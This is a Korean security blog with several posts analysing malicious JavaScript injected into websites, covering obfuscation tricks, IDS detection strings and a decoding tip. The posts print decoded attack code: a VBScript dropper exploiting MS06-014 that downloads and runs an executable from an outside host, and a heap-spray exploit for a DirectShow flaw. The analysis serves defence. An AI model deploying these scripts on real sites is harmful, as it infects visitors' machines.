0xFF small talk2010.05.04 16:54


오랜만에 뵙습니다. -_-;;
일이 많다는 핑계를 대고 싶군요...흑..흑...


다들 아시는 내용이겠지만 대형 쇼핑몰 사용시에도 악성스트립트에 대한 주의를 늦추시면 안된다는 말씀을 드리고 싶습니다.
저도 그렇지만 대형 쇼핑몰이면 보안에 어느 정도 신경을 쓰기 때문에 안전할꺼라 생각하시는 분들 많으실걸로 생각됩니다.



보시는봐와 같이 Java를 사용한다는 팝업이 떴습니다.
확인해보니 해외에 있는 pdf 취약점을 공격하는 악성스크립트가 실행되어 팝업이 뜬 것으로 확인되었습니다.

그러면 이 쇼핑몰 사이트에 악성스크립트가 삽입된걸까요??

대답은 아닙니다...입니다..

대부분 쇼핑몰에서 물건을 판매하는 판매자들은 이미지를 여러개 추가하기 위해 별도의 웹서버를 호스팅 받고 있으며
대현 쇼핑몰의 글을 볼때 이런 별도의 웹서버에 있는 페이지들이 요청이 되는데
이런 별도의 웹서버에 악성스크립트가 삽입이 되어 클라이언트에 의해 요청되게 됩니다.


결국 대형 쇼핑몰도 안심하고 사용하실려면 백신엔진 최신으로 하시고 윈도우 업데이트가 모두 되어 있어야 합니다.

인터넷을 안심하고 쓸 수 있는 날이 왔으면 합니다.


저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

0x02 analysis2009.12.29 10:33


이전글에서 보셨던 charCodeAt(i)^1 이외에도 charCodeAt(i)-1 과 같은 형태로 있었습니다.

어쨋든 charCodeAt(i)^1로 치환한 놈들은 charCodeAt(i)^1로 다시 치환하면 원문자열이 나오고
charCodeAt(i)-1로 치환한 놈들은 charCodeAt(i)+1로 다시 치환하면 원문자열이 나옵니다.

그럼 charCodeAt(i)-8로 치환된 문자열은 어떻게 해야 원문자열이 나올까요?




보시는바와 같이 -8을 해서 나온 문자열을 동일한 함수에 다시 +8을 하면 원문자열이 나옵니다.

결국 IDS에 추가할려고 했던 패턴들은 일부만 탐지할 수 있다는 단점을 안고 있습니다.

어떤 수식을 썼냐에 따라서 문자열이 달라질 수 있기 때문이죠..


이 생각도 해봤습니다.

Response에서 charCodeAt으로 탐지를 해볼까...

하지만 이걸로 탐지를 할 경우 오탐율이 높아진다는 단점이 있습니다.

낮은 정탐율이냐 높은 오탐율이냐 중 하나를 고르라면 낮은 정탐율이 낫겠죠..

아무튼 좀 더 생각을 해봐야 할 문제인 듯 합니다.






저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

0x02 analysis2009.12.28 18:26

뭐 지금까지 다양한 삽입된 스크립트들을 많이 보았는데요
오늘은 지금까지와는 좀 다른 형태를 봐서 포스팅합니다.

이런 형태를 보셨던 분들도 계시겠지만 저는 오늘이 처음이네요..^^;

<script>
q="=hgs`ld!rsb<iuuq;..mhwd,bntouds/hogn.ru`ur.ho/qiq!vheui<0!idhfiu<0!ruxmd<&whrhchmhux;iheedo&?=.hgs`ld?";
w="";
for(i=0;i<q.length;i++)
{
 w=w+String.fromCharCode(q.charCodeAt(i)^1);
};
document.write(w);
</script>


요즘은 iframe 삽입을 탐지하거나 차단하는 경우가 많아서 그런지 이걸 우회할려는 의도로 보입니다.
디코딩해보면...

<iframe src=http://live-counter.info/stats/in.php width=1 height=1 style='visibility:hidden'></iframe>


디코딩이라기 보다는 이상한 문자열을 함수에 넣어서 돌린 결과라고 하는게 맞겠네요..
결국 iframe이 나오네요...

for문을 돌면서 한글자씩 읽어와서 문자를 치환하는 방식을 사용했는데요 붉은색으로 된 부분만 보시면

=hgs`ld!rsb<iuuq;..
<iframe src=http://


이런식으로 치환이 되어 있습니다.
결국 iframe으로 삽입을 한다면 붉은색으로 된 부분은 항상 같은 형태가 나올 수 있다는 것이지요.
<script src=http:// 를 사용한다면 물론 달라지겠구요..

그런데 <iframe src=" 를 쓸지 <iframe src= 를 쓸지에 따라서 치환된 문자 형태가 달라질 것으로 보입니다.
결국 <iframe src=과 <script src=을 치환시켜 IDS에 패턴을 넣어서 추이를 살펴봐야 할 것으로 생각됩니다.

이런 패턴이 많아지면 귀찮을 것 같은데요..
좀 지켜봐야 할 것 같습니다.

--------------------------------------------------------------------------------------------------

내침김에 IDS 패턴 만들어 봤습니다.
귀찮을거라 예상했는데 생각보다 단순했습니다.

w=w+String.fromCharCode(q.charCodeAt(i)^1); 에 입력되는 문자열을 <iframe src= 와 <script src= 를
입력했더니 치환된 문자열이 나왔습니다.


패턴명 : <iframe src=
탐지문자열 : =hgs`ld!rsb<

패턴명 : <script src=
탐지문자열 : =rbshqu!rsb<


제가 사용했던 스크립트 코드 첨부합니다. 굵은색으로 된 부분이 <iframe src= <script src=을 치환한 for문입니다.

<script>
q="=hgs`ld!rsb<iuuq;..";
p="<iframe src=";
r="<script src=";
w="";
x="";
y="";

for(i=0;i<q.length;i++)
{
        w=w+String.fromCharCode(q.charCodeAt(i)^1);
};

for(i=0;i<p.length;i++)
{
        x=x+String.fromCharCode(p.charCodeAt(i)^1);
};

for(i=0;i<r.length;i++)
{
        y=y+String.fromCharCode(r.charCodeAt(i)^1);
}

document.write("<textarea rows=5 cols=100>");
document.write(w);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(x);
document.write("</textarea>");
document.write("<textarea rows=5 cols=100>");
document.write(y);
document.write("</textarea>");
</script>


저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

0x02 analysis2009.10.01 18:03

지금쯤 고향앞으로!! 하시는 분들도 계실겁니다.
무사히 다녀오시길 바랍니다. ^^
전 먼저 갔다와서 내일,모레까지 근무네요...ㅜ.ㅜ

오랜만에 스크립트 하나 분석했습니다.

확보한 파일은 총 8개입니다.

swf.js --- Main.asp ---+--- ad.htm ---> hxxp://www.eleparts.co.kr/data/msn.exe
                       +--- index.htm ---+--- he1.swf
                                         +--- he3.swf
                                         +--- he2.swf

swf.js

eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('7.8("<1 5=4://2.3.6.9/d./e.c b=0 a=0></1>");',15,15,'|iframe|xxx|yyy|http|src||document|write|zzz|height|width|asp|t|Main'.split('|'),0,{}))

첫번째 스크립트는 패킹되어 있었습니다. http://dean.edward.name/unpacker 에서 언패킹해보면 iframe으로 Main.asp를 삽입하고 있었습니다.

document.write("<iframe src=http://xxx.yyy.6.zzz/t./Main.asp width=0 height=0></iframe>");


Main.asp

<SCRIPT>
document.write("<iframe width=50 height=0 src=ad.htm></iframe>");
document.write("<iframe width=100 height=0 src=index.htm></iframe>");
window.status="供냥";
window.onerror=function(){return true;}
</SCRIPT>
</HEAD>
</HTML>


ad.htm

<script type="text/jscript">
function init() {
document.write("");
}
window.onload = init;
</script>
<script>
var a1 = "ABCDEFG";
var a2 = "HIJKLMNOP";
var a3 = "QRSTUVWXYZabcdef";
var keyStrs = a1+a2+a3+"ghijklmnopqrstuv"+"wxyz0123456789+/"+"=";
function mydata(input){
 var output="";
 var chr1,chr2,chr3="";
 var enc1,enc2,enc3,enc4="";
 var i=0;
 var base64test=/[^A-Za-z0-9\+\/\=]/g;
 input=input.replace(/[^A-Za-z0-9\+\/\=]/g,"");
 do{
  enc1=keyStrs.indexOf(input.charAt(i++));
  enc2=keyStrs.indexOf(input.charAt(i++));
  enc3=keyStrs.indexOf(input.charAt(i++));
  enc4=keyStrs.indexOf(input.charAt(i++));
  chr1=(enc1<<2)|(enc2>>4);
  chr2=((enc2&15)<<4)|(enc3>>2);
  chr3=((enc3&3)<<6)|enc4;
  output=output+String.fromCharCode(chr1);
  if(enc3!=64){output=output+String.fromCharCode(chr2);};
  if(enc4!=64){output=output+String.fromCharCode(chr3);};
  chr1=chr2=chr3="";
  enc1=enc2=enc3=enc4="";
 };
 while(i<input.length);return output;
 };
t="43 + 37 ,107 - 36 ,9880 / 95 ,64 - 16 ,117 - 19 ,141 - 54 ,8211 / 69 ,9 + 34 ,884 / 13 ,97 - 16 ,153 - 42 ,38 + 18 ,75 + 24 ,350 / 7 ,5772 / 74 ,2057 / 17 ,0 + 97 ,70 + 18 ,3498 / 53 ,3 + 45 ,3358 / 46 ,16 + 55 ,137 - 17 ,90 + 14 ,174 - 76 ,153 - 44 ,167 - 67 ,1715 / 35 ,3204 / 36 ,4437 / 51 ,42 + 58 ,8856 / 82 ,51 + 29 ,3320 / 40 ,109 - 35 ,75 + 12 ,157 - 76 ,3348 / 31 ,113 - 35 ,64 + 42 ,172 - 73 ,4360 / 40 ,54 + 54 ,156 - 37 ,9200 / 92 ,1139 / 17 ,29 + 44 ,46 - 3 ,4420 / 65 ,72 + 9 ,6 + 106 ,179 - 61 ,1372 / 14 ,10395 / 99 ,52 + 14 ,196 - 88 ,... 중략 ...,13 + 90 ,51 + 39 ,10 + 99 ,102 - 49 ,187 - 83 ,1666 / 17 ,9 + 78 ,4760 / 56 ,30 + 90 ,94 - 18 ,670 / 10 ,102 - 29 ,4200 / 40 ,44 + 32 ,1675 / 25 ,56 + 17 ,111 - 6 ,30 + 46 ,4154 / 62 ,58 + 16 ,4720 / 40 ,94 + 5 ,83 - 12 ,4420 / 52 ,10185 / 97 ,3922 / 53 ,210 - 105 ,146 - 72 ,35 + 82 ,67 + 6 ,205 - 100 ,156 - 37 ,13447 / 113 ,4420 / 65 ,2754 / 34 ,174 - 63 ,1680 / 30 ,1 + 75 ,816 / 16 ,31 + 47 ,152 - 46 ,127 - 28 ,65 + 44 ,195 - 87 ,195 - 76 ,1700 / 17 ,55 + 13 ,22 + 30 ,84 - 23 ";
t=eval("mydata(String.fromCharCode("+t+"))");
document.write(t);
</script>

ad.htm은 t에 저장되는 문자열이 핵심입니다.
위 스크립트를 디코딩해보면

<html>
<script language="VBScript">
on error resume next
dl = "http://www.xxxxxxxx.co.kr/data/msn.exe"
Set df = document.createElement("ob"&"ject")
df.setAttribute "classid", "clsid:BD96C55"&"6-65A3-11D0-983A-00C04FC29E36"
str="Microsoft"&".XMLHTTP"
Set x = df.CreateObject(str,"")
a1="Ado"
a2="db."
a3="Str"&"ea"
str1=a1&a2&a3
str5=str1
set S = df.createobject(str5&"m","")
S.type = 1
str6="G"&"ET"
x.Open str6, dl, False
x.Send
fname1="g0ld"&".com"
set F = df.createobject("Scripti"&"ng.FilesystemObject","")
set tmp = F.GetSpecialFolder(2)
S.open
fname1= F.BuildPath(tmp,fname1)
S.write x.responseBody
S.savetofile fname1,2
S.close
set Q = df.createobject("Shell.Ap"&"plication","")
Q.ShellExecute fname1,"","","ope"&"n",0
</script>

이 스크립트는 MS06-014 취약점을 공격해서 hxxp://www.xxxxxxxx.co.kr/data/msn.exe 파일을 다운로드하여 실행하게끔 합니다. 미리 받아놨어야 하는데 안받아놨었습니다. -_-;; 지금은 다운로드가 안되는군요...


index.htm

<html>
<body> 
<div id="DivID">
<script src='he1.swf'></script> 
<script src='he3.swf'>
</script>
<script src='he2.swf'></script> 
</body>
</html>



he1.swf, he3.swf, he2.swf

var XXXxxyt='0';
var xxyytt='%';
var xxttyy='u';
var ttyyxx=xxyytt+xxttyy;
var UUse=ttyyxx+'9'+'09'+'0'+ttyyxx+'9'+'0'+'9'+XXXxxyt;
var YTavp='%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uBDBD%uEAEA';
var YTavp1='%u5858%u5858%u10EB%u4B5B%uC933%uB966%u03B8%u3480%uBD0B%uFAE2%u05EB%uEBE8%uFFFF';
var ytshell=unescape(UUse+YTavp1+... 중략 ...+'%u4627%uA8EE%ud5db%uc9c9%u87cd%u9292%ud2c9%ucfc8%ud493%udccb%uded3%uc9d4%u93c4%ud2de%u92d0%ud0d4%udadc%uced8%ud492%udccb%u92d3%ud2d1%ud2da%ud893%ud8c5%uBDBD%uBDBD'+YTavp);
var headersize=20;
var omybro=unescape(UUse);

var coass="darf";

var slacksace=headersize+ytshell.length;

while(omybro.length<slacksace)
omybro+=omybro;
bZmybr=omybro.substring(0,slacksace);
shuishiMVP=omybro.substring(0,omybro.length-slacksace);
while(shuishiMVP.length+slacksace<0x30000)
shuishiMVP=shuishiMVP+shuishiMVP+bZmybr;
memory=new Array();
var r=0;
var rsc="f";
for(x=r;x<300;x++)
memory[x]=shuishiMVP+ytshell;

var vpnject=document.createElement('ob'+'j'+'e'+'c'+'t');
DivID.appendChild(vpnject);
vpnject.width='1';
vpnject.height='1';
vpnject.data='./logo.gif';
var caoavp='li';
vpnject.classid='clsid:0955AC62-BF2E-4CBA-A'+'2B9-A63F772D46CF';


he1.swf, hw2.sef, hw3.swf는 플래쉬 파일이긴 하지만 실제로는 자바스크립트가 들어 있었습니다.
이 스크립트는 DirectShow MPEG2TuneRequest 취약점을 공격하는 제로데이 스크립트입니다.

자세한 내용은 http://hummingbird.tistory.com/1184 를 참조하시기 바랍니다.




참고로 ad.htm과 같은 형태의 스크립트가 실제로는 어떤 스크립트인지 확인하기 위해서는 디코딩 작업을 수행해야 합니다.
이런 경우 디코딩하는 간단한 팁(?)을 적어볼까 합니다.

ad.htm 스크립트 내용을 그대로 적고 마지막에 document.write(t); 와 </script> 는 지웁니다.
그리고 아래 내용을 이어서 적습니다.

document.write("<textarea rows=30 cols=100>");
document.write(t);
document.write("</textarea>");
</script>

이렇게 html 파일을 웹서버에 만들고 해당 파일을 요청하면 인코딩된 내용들이 디코딩되고 원래대로는 document.write(t)에서 실행하게 되는데 위 html 파일을 보면 <textarea>라는 태그때문에 스크립트가 실행되지 않고 텍스트 상자안에 디코딩된 스크립트 내용이 그대로 출력되게 됩니다.


이 방법은 일반적으로 많이 볼 수 있는 인코딩된 스크립트를 디코딩하는데에도 사용 가능합니다.
<textarea> 태그의 특성을 이용해서 스크립트를 그대로 출력하게 하는 방법으로 일반적으로 많이 보이는 인코딩된 스크립트는 document.write(unescape("인코딩된 문자열")); 과 같은 방법으로 확인 가능합니다.

즉, 아래와 같이 쓰시면 됩니다.

document.write("<textarea rows=30 cols=100>");
document.write(unescape("인코딩된 문자열"));
document.write("</textarea>");
</script>


이 방법을 알려주신 방립동님께 거듭 감사드립니다. ^^



그럼 오늘도 즐삽~





저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

  1. 자바스크립트 난독화 관련해서 김지훈 선임연구원이 작성한 문서도 좋더군요.

    http://image.ahnlab.com/file_upload/tech/javascript.pdf

    2009.10.05 15:58 신고 [ ADDR : EDIT/ DEL : REPLY ]

0x02 analysis2009.05.20 16:05

국내 한 사이트에서 gif로 된 악성 스크립트를 발견하였습니다.
gif로 된 악성코드가 아닌 악성 스크립트...

소스코드를 살펴보니

  <td width="490" height=49 background=http://www.xxxxxxx.or.kr/logif.gif bgcolor=#ffffff>
  <table border=0 cellpadding=0 cellspacing=0 width=400 align=right><tr><td>
  <script language="javascript" type="text/javascript" src="icon/include.gif"></script>

이렇게 되어 있는데 실제 gif 파일은
/bbs/icon/include.gif로 되어 있었습니다.

파일을 다운 받아 exe 파일이겠거니 하고 봤더니 아니더군요...-_-;;




document.write("<iframe width='0' height='0' src='http://d.xin8.info/daipi/css.htm'></iframe>");

이런 내용을 담고 있었습니다.

배상우님의 해킹에 도움이 되는 IE 기능 (GIF+JavaScript) 글을 참조하시면 좀 더 자세한 내용을 접하실 수 있습니다.

일단은 gif에 자바스크립트를 숨겨 놓은 것만으로도 악의적인 의도가 다분합니다.
일단 css.htm 파일을 확인해보면 눈에 보기에 복잡하기 해놨습니다. @.@

<html>
<head>
<title>xin8.info</title>
<script type="text/javascript" src="/js/general.js"></script>
<script type="text/javascript">
ChkRequest4('117109','2009-05-20 11:26:52','221.139.14.3','','9','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)','/daipi/css.htm','15','http://www.malkm.com/?dn=xin8.info&pid=1POOF2464','xin8.info','','','');
</script>
<script type="text/javascript">
var fl = "cpx";
var u = "/" + fl + ".php";

u = u + "?did=117109&ts=2009-05-20%2011%3A26%3A52&ip=xxx.xxx.xxx.xxx&sid=9&ref=&ua=Mozilla%2F4.0%20%28compatible%3B%20MSIE%207.0%3B%20Windows%20NT%205.1%29&url=%2Fdaipi%2Fcss.htm&uid=15&rdr=http%3A%2F%2Fwww.malkm.com%2F%3Fdn%3Dxin8.info%26pid%3D1POOF2464&dn=xin8.info&soff=&sbid=&sinf=";
var w = '690';
var h = '320';
var wV = 'scrollbars=no,resizable=yes,toolbar=no,' + 'menubar=no,status=no,location=no,height=' + h + ',width=' + w;
tW = window.open(u, "tWin", wV);
if (null !== tW)
{
 tW.blur();
 window.focus();
}
</script>



css.htm 파일에서 스크립트에 의해 다음 URL을 호출하고 있었습니다.

hxxp://d.xin8.info/cpx.php?did=117109&ts=2009-05-20%2011%3A26%3A52&ip=xxx.xxx.xxx.xxx&sid=9&ref=&ua=Mozilla%2F4.0%20%28compatible%3B%20MSIE%207.0%3B%20Windows%20NT%205.1%29&url=%2Fdaipi%2Fcss.htm&uid=15&rdr=http%3A%2F%2Fwww.malkm.com%2F%3Fdn%3Dxin8.info%26pid%3D1POOF2464&dn=xin8.info&soff=&sbid=&sinf=

이 URL을 따라 들어가보면

<html>
<head>
<title>Blank</title>
<script type="text/javascript" src="/js/general.js"></script>
<script type="text/javascript">
ChkPopunder4('117109','2009-05-20 11:26:52','221.139.14.3','','9','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)','/daipi/css.htm','15','http://www.malkm.com/?dn=xin8.info&pid=1POOF2464','xin8.info','','','');
</script>
<script type="text/javascript" src="hxxp://panther1.cpxinteractive.com/mz/Trellian.js"></script>
<script type="text/javascript">window.close();</script>
</head>
<body></body>
</html>

이번에는 hxxp://panther1.cpxinteractive.com/mz/Trellian.js 파일을 호출합니다.
Trellian.js 파일을 열어 보면

document.writeln('<SCRIPT TYPE="text\/javascript" SRC="http:\/\/adserving.cpxinteractive.com\/st?ad_type=pop&ad_size=0x0&section=623281&banned_pop_types=29&pop_times=1&pop_frequency=0&pop_nofreqcap=1">
<\/SCRIPT>');

이번에도 또 다른 URL을 호출하고 있습니다.
몇번 봤던 패턴이라 신기하지는 않고 지겹군요...-_-
별 수 없습니다. 또 쫓아서 들어가 봤습니다.




개인적으로 싫어하는 스타일의 자바스크립트입니다.
딱 봐서 어떤 내용인지 짐작이라도 할 수 있어야 하는데 이런 스타일은 짐작하기도 힘들거든요..
혹시 쉽게 아실 수 있는 노하우가 있으시다면 저에게 전수를...
어쩔 수 없이 보기 좋게 엔터를 쳐가면서 삽질 좀 했습니다.

...(생략)...
rm_url = "hxxp://adserving.cpxinteractive.com/imp?Z=0x0&y=29&s=623281&_salt=4141222443";
...(생략)...
var rm_tag_src='<SCRIPT TYPE="text/javascript" SRC="'+rm_url+'"><\/SCRIPT>';
if(rm_pop_frequency){
 if(rmCanShowPop(rm_pop_id,rm_pop_times,rm_pop_frequency)||rm_pop_nofreqcap){
  document.write(rm_tag_src);
 }
}else{
 document.write(rm_tag_src);
}
...(생략)...


동일한 도메인에서 다른 페이지를 호출합니다.

hxxp://adserving.cpxinteractive.com/imp?Z=0x0&y=29&s=623281&_salt=4141222443&B=10&r=1

이 URL은 또 다른 URL에 리다이렉션 됩니다.

hxxp://ad.yieldmanager.com/imp?Z=0x0&y=29&s=623281&_salt=4141222443&B=10&r=1

리다이렉션되어 들어간 페이지는 또 사람을 짜증나게 합니다. ㅜ.ㅜ




전체 내용은 첨부파일 참조하시면 되겠습니다. 제가 임의로 엔터를 쳐서 보기 좋게 했습니다.
이 파일에서 주의 깊게 봐야할 부분은 fv6파는 함수입니다. 아래와 같은 형식들이 자주 나오고 있습니다.

...
oV5.write(fV6('PGlucHV0IHN0eWxlPSJ3aWR0aDowcHg7IHRvcDowcHg7IHBvc2l0aW9uOmFic29sdXRlOyB2aXNpYmlsaXR5Omhp
ZGRlbjsiIGlkPSJvVjYiIG9uY2hhbmdlPSJmVjgoZlYxLDUsdHJ1ZSkiPg=='));
oV5.write(fV6('PGRpdiBzdHlsZT0iZGlzcGxheTppbmxpbmUiIGlkPSJvVjEwIj48L2Rpdj4='));
...
oV3.location=fV6('YWJvdXQ6Ymxhbms='); 
...
oV8.innerHTML=fV6(vV1);
...
eval(fV6('d28ucHc9by5ET00uU2NyaXB0Lm9wZW4od28ubG9jYXRpb24sJycsd28udik7'));
...
eval(fV6("dmFyIG91dD0ic2hvd01vZGFsRGlhbG9nKCdqYXZhc2NyaXB0OndpbmRvdy5vbmVycm9yPWZ1bmN0aW9uKCl7cmV0dXJuIHRyd
WV9OyBzZXRUaW1lb3V0KFwid2luZG93LmNsb3NlKClcIiw1MCk7IHg9d2luZG93Lm9wZW4oXCJhYm91dDpibGFua1wiLFwiIiArIHdvLm4gK
yAiXCIsXCIiICsgd28udiArICJcIik7ICB4LmJsdXIoKTsgd2luZG93LmNsb3NlKCknLCcnLCdoZWxwOjA7Y2VudGVyOjA7ZGlhbG9nV2lkdGg6M
TtkaWFsb2dIZWlnaHQ6MTtkaWFsb2dMZWZ0OjUwMDA7ZGlhbG9nVG9wOjUwMDA7Jyk7Ijsgby5ET00uU2NyaXB0LmV4ZWNTY3JpcHQo
b3V0KTsg"));
...
fV19(fV6('PG9iamVjdCBpZD0ib1Y5IiBvbmVycm9yPSJmVjI1PTEiIHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0OjE7dG9wOjE7d2lkdG
g6MTtoZWlnaHQ6MSIgY2xhc3NpZD0iY2xzaWQ6MkQzNjAyMDEtRkZGNS0xMWQxLThEMDMtMDBBMEM5NTlCQzBBIj48U0NSSVBUPmZW
MjU9MTwvU0NSSVBUPjwvb2JqZWN0Pg=='));
...
fV19(fV6('PElGUkFNRSBpZD0ib1YzIiBOQU1FPSJvVjMiIFNUWUxFPSJ2aXNpYmlsaXR5OmhpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTto
ZWlnaHQ6MTsiIHNyYz0iamF2YXNjcmlwdDpwYXJlbnQuZlYxMSgpIj48L0lGUkFNRT4='));
...
eval(fV6('CQlpZiAoMSArIE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqIDEwMCkgPCA2KSB7DQoJCQl2YXIgeD1uZXcgSW1hZ2UoKTsNCgkJCXgu
c3JjPSdodHRwOi8vd3d3LmFkb3V0cHV0LmNvbS92ZXJzaW9uMi9oaXRfcm0uY2ZtP3R5cGU9JyArIHM7DQoJCX0='));
...


fV6 함수는 다음과 같습니다.

function fV6(input) {
  var o = "";
  var chr1, chr2, chr3; var enc1, enc2, enc3, enc4;
  var i = 0;
  var keyStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
  input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
  do {
    enc1 = keyStr.indexOf(input.charAt(i++));
    enc2 = keyStr.indexOf(input.charAt(i++));
    enc3 = keyStr.indexOf(input.charAt(i++));
    enc4 = keyStr.indexOf(input.charAt(i++));
    chr1 = (enc1 << 2) | (enc2 >> 4);
    chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
    chr3 = ((enc3 & 3) << 6) | enc4;
    o = o + String.fromCharCode(chr1);
    if (enc3 != 64) {
      o = o + String.fromCharCode(chr2);
    }
    if (enc4 != 64) {
      o = o + String.fromCharCode(chr3);
    }
  }
  while (i < input.length);
  return o;
}

입력받은 문자열들을 함수에 의해 다른 문자열로 변환하고 있습니다.
일단 fV6에 의해 변환되는 놈들만 변환을 시켜보았습니다.

PElGUkFNRSBpZD0ib1YzIiBOQU1FPSJvVjMiIFNUWUxFPSJ2aXNpYmlsaXR5OmhpZGRlbjsgcG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTto
ZWlnaHQ6MTsiIHNyYz0iamF2YXNjcmlwdDpwYXJlbnQuZlYxMSgpIj48L0lGUkFNRT4=

<IFRAME id="oV3" NAME="oV3" STYLE="visibility:hidden; position:absolute;width:1;height:1;" src="javascript:parent.fV11()"></IFRAME>

iframe이 보입니다. 헌데 src를 보니 또 뭔가 있군요..
상당히 복잡하게 꽈놓은게 눈에 보입니다.


시간상 여기까지하고 소스분석을 자세히 하지 못했습니다.
그래서 vm 웹서버에 해당 페이지 올려 놓고 vm에서 페이지를 읽어 보고 시스템에 어떤 변화가 있는지 외부로 어떤 패킷을 보내는지 확인해 보았습니다.
확인 결과 특정 웹페이지를 하나 더 요청을 하지만 해당 페이지에는 별 내용이 없었습니다.

hxxp://ad.yieldmanager.com/iframe3?AAAAALGCCQCMMx4ADZoJAAIAAAAAAP8AAAAECwICAAMLDw0AGWsEAF69DQAAAAAAAAAAAAAAAAAAAAAAAAAAAGbmlbMGb9Q.CtejcD0KB0AAQFJAMAfhPzMzMzMzMxNAAMAza1Bh7D8AAAAAAAAgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtMDhs95AXAaEn1YSILavEJVgveudQ9JzAYG7zAAAAAA=,,http://d.xin8.info/cpx.php?did=117109&ts=2009-05-21%2011%3a26%3a52&ip=221.139.14.3&sid=9&ref=&ua=mozilla%2f4.0%20%28compatible%3b%20msie%207.0%3b%20windows%20nt%205.1%29&url=%2fdaipi%2fcss.htm&uid=15&rdr=http%3a%2f%2fwww.malkm.com%2f%3fdn%3dxin8.info%26pid%3d1poof2464&dn=xin8.info&soff=&sbid=&sinf=

해당 페이지 소스를 보면 다음과 같은 에러(?) 메시지가 보입니다.

<html><body><!-- Delivery record decoding failed with reason = 4 (Query string expired) --></body></html>


분석하는 과정에서 어떤 변화가 있어서 이런 페이지밖에 보이지 않는 것인지 알 수는 없지만

include.gif 파일을 읽는다 하더라도 시스템에는 큰 영향을 미치지 않는다고 여겨집니다.



왠지 괜한 삽질만 한게 아닌지 하는 생각이 듭니다. -_-;;





저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

  1. 슈멘달려

    분석글 감시히 봣습니다. ^^

    2009.05.21 09:17 신고 [ ADDR : EDIT/ DEL : REPLY ]
  2. fV6() 함수는 base64 디코딩 함수입니다. -_-;;
    웹에서 base64 decoder 찾으셔서 입력하시면 디코딩됩니다.

    2009.05.21 13:10 신고 [ ADDR : EDIT/ DEL : REPLY ]
  3. 잘읽어어요.
    Gif+Jar
    Gif+javascript
    변종이 많군요..ㅎ

    담달안에 꼭 술한잔 사드릴께요.

    2009.05.21 23:42 신고 [ ADDR : EDIT/ DEL : REPLY ]
    • 근데 난 잘 안되드라고..
      내꺼 vm에서도 실행이 안되고 그냥 텍스트로 읽혀서
      좀 더 연구해봐야할 듯..

      2009.05.22 10:36 신고 [ ADDR : EDIT/ DEL ]

0x02 analysis2009.03.05 18:27

이번에도 네x버 SecurityPlus 까페에서 구한 샘플입니다.
까페 주인장이신 mirrk님께서 올려두셔서 받았었습니다.(작년 12월 30일날)
그냥 놔두고 있다고 오늘 다시 보게 되었습니다.
이미 분석이 끝나신 분들도 계시지만 개인적인 성취감을 위해 한번 덤벼봤습니다.


덤비긴 덤볐는데 초반부터 제가 몰렸습니다. -_-;;
악성스크립트를 그리 많이 본건 아니지만 지금까지 본 악성스크립트 중 최고로 독한놈인 듯 합니다.
첨부된 파일은 index와 check.html 파일 두개였습니다.

mirrk님의 글을 보면




다소 재밌는 구석(?)이라고 하셨지만 전혀 재미있지 않았습니다!!....(라고 말하고 싶지만 사실 좀 재미있긴 했습니다. 헤헤)

일단 index 파일부터 보시겠습니다. 내용이 길어 일부만 보여드리겠습니다. 대충 감만 잡으시길...




스크롤바를 보시면 아시겠지만 이러 내용이 두번 더 나옵니다. -_-;;
처음엔 눈 빠지는줄 알았습니다. 그나마 눈이 남들보다 조금 좋은편이라 다행이었습니다.

패턴을 확인해보니

알파벳대문자='~~~~~';

이런 형태였습니다. 즉 대문자가 변수인거죠..
그러다가 어느 정도 진행하다가 A+=O+P+E+C+B+M 와 같은 형태로 스크립트 코드를 전부 A라는 변수에 집어 넣고 있습니다.

딱히 다른 방법이 생각나지 않아 메모장에 붙녀 넣은 다음 '; 가 나오고 그 다음에 알파벳 대문자가 나오면 알파벳 앞에서 엔터를 쳐서 보기 좋게 정렬해 나갔습니다. 그런데 아무리해도 줄어들 기미가 보이질 않았습니다. 막막하더군요...

그러다 갑자기 생각났던게 vi 에디터였습니다. 요즘 리눅스에 좀 소홀히했더니 무뎌지나 봅니다.




:1s/';/';^M/g   ---> ^M은 ctrl+v를 누르시고 ctrl+m을 누르시면 됩니다.




변경되었습니다. 중간중간 하얀색선 안의 내용처럼 되는 부분이 있는데 몇개 안되니 직접 수정해주시면 됩니다.

대충 형태를 보니 알파벳 대문자로 변수 지정을 하고 원본 스크립트를 무작위로 쪼개서 변수에 할당합니다. 물론 순서에 맞기 않게 마구잡이로 섞어놨습니다. 순서대로 해놨으면 참 보기 쉬웠을텐데 말이죠.. 똑똑한건지 지독한건지...

이렇게 변수를 계속 할당하고 A에 append시킨 후 가장 마지막엔 eval() 함수를 사용해서 스크립트를 실행하고 있었습니다. 그래서 eval() 대신 document.write를 사용해서 실행되는 스크립트를 출력해보았습니다.




출력해보니 이번엔 좀 더 알아보기 쉽게 나오긴 했지만 아직도 복잡하군요...-_-;;




직접 실행시켜보니 에러가 나더군요..
아무래도 뭔가 좀 부족한가 봅니다.
계속 하고 싶지만 오늘은 제가 있는 곳이 너무 더워 그만 나가볼렵니다.
비도 오니 쏘주나 한잔~ ㅎㅎ

원본 코드 첨부하겠습니다.









저작자 표시 비영리 변경 금지
신고
Posted by demantos

댓글을 달아 주세요

0x02 analysis2009.03.04 21:48

